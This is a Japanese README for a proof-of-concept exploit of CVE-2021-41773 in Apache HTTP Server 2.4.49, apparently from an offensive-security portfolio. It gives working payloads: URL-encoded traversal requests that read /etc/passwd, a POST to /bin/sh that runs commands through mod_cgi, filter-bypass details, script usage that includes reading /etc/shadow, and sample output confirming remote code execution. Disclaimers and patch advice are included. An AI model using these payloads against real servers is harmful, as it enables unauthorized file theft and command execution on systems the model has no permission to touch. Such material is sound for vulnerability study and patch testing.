
CVE-2021-41773の概念実証
管理された自分専用の環境でのみ使用すること。許可なくシステムに対して使用しないこと。
Apache HTTP Server 2.4.49 に存在する脆弱性 CVE-2021-41773 を実証・理解するために開発された PoC です。
この欠陥は ap_normalize_path() 関数にあり、URL エンコードされた文字を適切に検証していませんでした。これにより、攻撃者はエンコードされた文字列(../ の代わりに %2e%2e%2f)を使うことで DocumentRoot の外に抜け出し、システム上の任意のファイルを読み取ることができました。
mod_cgi モジュールが有効な場合、この脆弱性は RCE(リモートコード実行) に昇格し、Apache プロセスの権限でサーバー上で直接コマンドを実行できるようになります。
サーバーが脆弱であるためには、次の条件をすべて満たす必要があります。
| 条件 | 詳細 |
|---|---|
| Apache のバージョン | 正確に 2.4.49 |
| アクセスディレクティブ | 設定内の Require all granted |
| CGI モジュール | mod_cgi が有効(RCE の場合のみ) |
Apache 2.4.49 は通常の ../ をフィルタリングしましたが、URL エンコードされたバージョンはフィルタリングしませんでした。攻撃者はフィルタに検出されないものの、OS が正しく解釈するパスを構築します。
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f は ../ の URL エンコードです。Apache はそれを通過させ、OS が解決し、その結果 Web ディレクトリ外のファイルへのアクセスが可能になりました。
mod_cgi が有効な場合、パストラバーサルを使用してファイルの代わりに /bin/sh を指定します。Apache はそれを CGI スクリプトとして扱い実行します。コマンドは POST ボディに最小限のシェルスクリプトとして含まれます。
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
コマンドの出力は HTTP レスポンスに含まれます。
この脆弱性を再現する最も簡単な方法は Docker を使うことです。
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
または、脆弱な設定を施した Apache 2.4.49 の手動イメージを使用します。
<Directory />
Require all granted
</Directory>
テストで使用した設定ファイルをここに残しておきます。
なぜ 'urllib3' で 'requests' ではないのか?
requests は送信前にパスの文字を自動的に再エンコードします。そのため、サーバーは %2e の代わりに %252e を受け取り、ペイロードが壊れます。urllib3 はパスを変更せずに送信できます。
なぜ .%2e/ で %2e%2e/ ではないのか?
Apache は mod_rewrite モジュールで %2e%2e/ をフィルタリングします。
.%2e/ という亜種は意味的に同等ですが、フィルタを通過します。
なぜなら、パスの正規化は検証の後に行われるからです。
mod_cgi モジュールが有効でなければ RCE モードは機能しません。それがない場合、パストラバーサルのみ可能です。python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 以上に更新する。Require all denied を設定する。mod_cgi を無効にする。⚠️ このリポジトリは教育目的のみです。
許可なくシステムに対してこのエクスプロイトを使用することは違法です。
管理されたローカル環境でのみテストされています。
攻撃的セキュリティのポートフォリオのために教育目的で開発された PoC です。
| 引数 | 必須 | 説明 |
|---|
--target | 必須 | サーバーのベース URL(例: http://localhost:8080) |
--mode | 必須 | traversal はファイル読み取り、rce はコマンド実行 |
--cmd | 任意 | rce モードで実行するコマンド(デフォルト: id) |